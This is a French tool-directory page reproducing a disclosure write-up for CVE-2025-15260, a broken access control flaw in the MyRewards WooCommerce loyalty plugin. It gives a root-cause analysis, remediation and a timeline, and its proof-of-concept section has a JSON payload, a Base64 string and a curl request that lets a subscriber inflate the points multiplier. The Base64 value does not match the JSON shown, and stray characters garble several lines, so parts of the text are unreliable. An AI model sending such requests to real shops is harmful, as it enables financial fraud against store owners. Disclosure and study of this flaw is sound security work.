Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-15260 — Autorisation manquante / Contrôle d'accès brisé dans le plugin - MyRewards – Points de fidélité et Récompenses pour WooCommerce | Kitploit
Outils/GitHubGitHub/d3kc4rt1/cve-2025-15260
Escalade de PrivilègesAnalyse des VulnérabilitésExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubd3kc4rt1/cve-2025-15260

CVE-2025-15260

Autorisation manquante / Contrôle d'accès brisé dans le plugin - MyRewards – Points de fidélité et Récompenses pour WooCommerce

Voir le dépôt
1il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-15260 : Autorisation manquante / Contrôle d'accès brisé dans le plugin MyRewards – Points de fidélité et récompenses pour WooCommerce

Avertissement : Ce dépôt est créé à des fins éducatives et de divulgation éthique uniquement. La vulnérabilité a été signalée de manière responsable au fournisseur et corrigée. N'utilisez pas ces informations pour exploiter des systèmes sans autorisation appropriée.

Résumé

Une vulnérabilité critique de Contrôle d'accès brisé / Escalade de privilèges a été découverte dans le plugin MyRewards (WooRewards) pour WooCommerce (versions <= 5.6.0). Cette faille permet à tout utilisateur connecté, même ceux ayant des privilèges minimaux comme les Abonnés, de contourner l'autorisation et de modifier les règles de récompenses sensibles de la boutique.

En exploitant cette vulnérabilité, un attaquant peut gonfler le multiplicateur de points de fidélité à une valeur astronomique (par exemple, h999,999,999'), lui permettant d'accumuler des points massifs à partir d'un seul petit achat et de les échanger contre des coupons ou des produits gratuits, entraînant une perte financière directe pour la boutique.

Aperçu de la vulnérabilité

  • CVE ID: CVE-2025-15260
  • Produit : MyRewards par LongwayStudio (Plugin WooCommerce)
  • Versions affectées : <= 5.6.0
  • Type de vulnérabilité : Contrôle d'accès brisé / Escalade de privilèges (CWE-284)
  • Privilèges requis : Authentifié (Abonné ou supérieur)

Analyse technique approfondie et cause racine

La cause racine de cette vulnérabilité réside dans l'absence de vérifications de capacités ou de protection CSRF sur les points de terminaison AJAX critiques qui gèrent les modifications de base de données.

1. Enregistrement AJAX non autorisé : Le plugin utilise une classe de contrôleur générique (EditlistControler) pour gérer les opérations CRUD. Dans editlistcontroler.php, il enregistre l'action AJAX editlist en utilisant le hook gwp_ajax_`, le rendant disponible à TOUS les utilisateurs connectés, quel que soit leur rôle :

root@kitploit:~
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));

2. Absence d'autorisation et de validation de nonce : À l'intérieur des méthodes ajax() et accept(), le code traite les demandes de changement d'état (par exemple, put pour la mise à jour, del pour la suppression) uniquement sur la base de l'entrée de l'utilisateur. Il manque complètement les appels à current_user_can() et check_ajax_referer(), ce qui signifie qu'il n'y a aucune vérification si l'utilisateur a les droits manage_woocommerce.

3. Traitement dangereux de la charge utile : Le point de terminaison accepte une chaîne JSON encodée en Base64 via le paramètre line, qui est décodée et passée directement à la méthode EventList::write()p, enregistrant les paramètres malveillants directement dans la base de données :

root@kitploit:~
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);

Impact commercial

  • Perte financière : En manipulant le multiplicateur de points "Montant de la commande", les acteurs malveillants peuvent générer des points de récompense infinis et les échanger contre des coupons de réduction de grande valeur ou des articles gratuits, contournant la passerelle de paiement du commerce électronique.
  • Escalade de privilèges : Un client standard (Abonné) peut effectuer des actions d'administration du plugin.
  • Compromission de l'intégrité des données : Les attaquants peuvent défigurer, modifier ou supprimer les règles de récompenses légitimes existantes, perturbant la logique marketing de la boutique.

Preuve de concept (PoC)

Les étapes suivantes montrent comment un Abonné authentifié peut exploiter cette faille.

1. Prérequis

  • Cible exécutant WooCommerce avec MyRewards v5.6.0.
  • Identifiants valides pour un compte de niveau subscriber.
  • Un système de récompenses préconfiguré (par exemple, règle de gain "Dépenser de l'argent"). Note : L'ID de cette règle (par exemple, 101) est séquentiel et facilement énumérable en observant les réponses POST AJAX.

2. Charge utile

Nous voulons mettre à jour le multiplicateur de points de la règle ID 101 à 999,999,999,999,999.

JSON initial

root@kitploit:~
{
  "post_id":"101",
  "wre_type":"lws_woorewards_events_orderamount",
  "lws_woorewards_events_orderamount_multiplier": "999999999999999"
}

Encodé en Base64 ('valeur de line')

root@kitploit:~
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0

3. Exécuter l'attaque

Exécutez la requête CURL suivante en tant qu'utilisateur à faibles privilèges :

root@kitploit:~
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
    -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
    -b '[Subscriber_Cookies_Here]' \
    -d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'

4. Vérification

  • Vue de l'attaquant : Le serveur renverra {"status":1} confirmant la mise à jour.
  • Vue de l'administrateur : Si un administrateur visite les paramètres de fidélité, il verra que le multiplicateur de points pour les commandes a été changé en la valeur astronomique injectée par l'attaquant.

Correction

Pour corriger ce problème, mettez à jour le plugin MyRewards vers la dernière version corrigée. Le fournisseur a résolu ce problème en :

  1. Implémentant des vérifications current_user_can() dans le contrôleur AJAX pour vérifier les privilèges d'administration.
  2. Ajoutant check_ajax_referer() pour valider les nonces et empêcher la falsification de requête intersite (CSRF).

Chronologie

Un bref journal du processus de divulgation pour montrer que des normes éthiques ont été respectées :

  • Date (2025-12-29) : Signalé à Wordfence / Développeur.
  • Date (2026-02-09) : Vulnérabilité corrigée / Divulgation publique.

Références et crédits

  • Wordfence Vulnerability Database
  • CVE-2025-15260 on NVD
  • MyRewards Plugin on WordPress.org
Télécharger l’outil